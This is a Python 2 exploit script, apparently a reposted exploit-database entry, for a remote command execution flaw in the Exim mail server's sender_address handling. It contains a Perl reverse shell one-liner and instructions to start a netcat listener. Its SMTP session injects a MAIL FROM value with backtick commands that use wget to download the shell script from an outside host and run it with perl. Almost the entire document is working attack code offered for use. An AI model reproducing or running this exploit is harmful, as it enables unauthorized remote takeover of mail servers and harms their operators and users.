Exim – ‘sender_address’ Remote Code Execution
#!/usr/bin/env python ################################################################################## ## Exim sender_address Parameter - Remote Command Execution Exploit ## ################################################################################## ## ## ## Vulnerability found by RedTeam Pentesting GmbH ## ## https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/ ## ## ## ## Exploit written by eKKiM ## ## http://rdtx.eu/exim-with-dovecot-lda-rce-exploit/ ## ## ## ################################################################################## ## USAGE ## ################################################################################## ## ## ## Edit the PERL REVERSE SHELL MY_CONNECTBACK_IP and MY_CONNECTBACK_PORT and ## ## upload this perl reverse shell script to a webserver. ## ## ## ## Edit the PERL_SHELL variable to your own connectback script URL ## ## ## ## Start a listener: nc -vvn -l -p CONNECT_BACK_PORT ## ## ## ## Let the exploitin begin ## ## ## ################################################################################## ####### PERL REVERSE SHELL ####### ## use Socket;$i="MY_CONNECTBACK_IP";$p=MY_CONNECTBACK_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; ####### PERL REVERSE SHELL ####### import socket import sys ####### URL TO YOUR CONNECTBACK SHELL ####### PERL_SHELL = "myhost.com/shell.pl" ####### URL TO YOUR CONNECTBACK SHELL ####### if len(sys.argv) != 2: print "Usage: exim_exploit.py <target_ip> <optional_rcpt_address>" print " <target_ip> target you want to test" print " <optional_rcpt_address> an address which is accepted by exim (default: postmaster@localhost)" exit(1) RCPT_TO = "postmaster@localhost" HOST = sys.argv[1] PORT = 25 def read_line(s): ret = '' while True: c = s.recv(1) if c == '\n' or c == '': break else: ret += c return ret if len(sys.argv) == 3: RCPT_TO = sys.argv[2] print "Exim sender_address Parameter - Remote Command Execution Exploit" print "Bug discovered by RedTeam Pentesting GmbH" print "Exploit created by eKKiM" print "" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) data = read_line(s); if not(data.startswith("220")): print "[ERROR] Is it SMTP Server?" exit(1) s.send("EHLO domain.local\n") s.recv(4096) s.send("MAIL FROM: x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}" + PERL_SHELL + "``perl${IFS}/tmp/p.pl`@blaat.com\n") data = read_line(s); if not(data.startswith("250")): print "[ERROR] MAIL FROM not accepted" exit(1) s.send("RCPT TO: " + RCPT_TO + "\n") data = read_line(s); if not(data.startswith("250")): print "[ERROR] RCPT_TO not accepted" exit(1) s.send("DATA\n") data = read_line(s); if not(data.startswith("354")): print "[ERROR] Cannot send email content" exit(1) s.send("x\n.\n") data = read_line(s); if not(data.startswith("250")): print "[ERROR] email content revoked" exit(1) print "[OK] Recieved shell?" s.close() |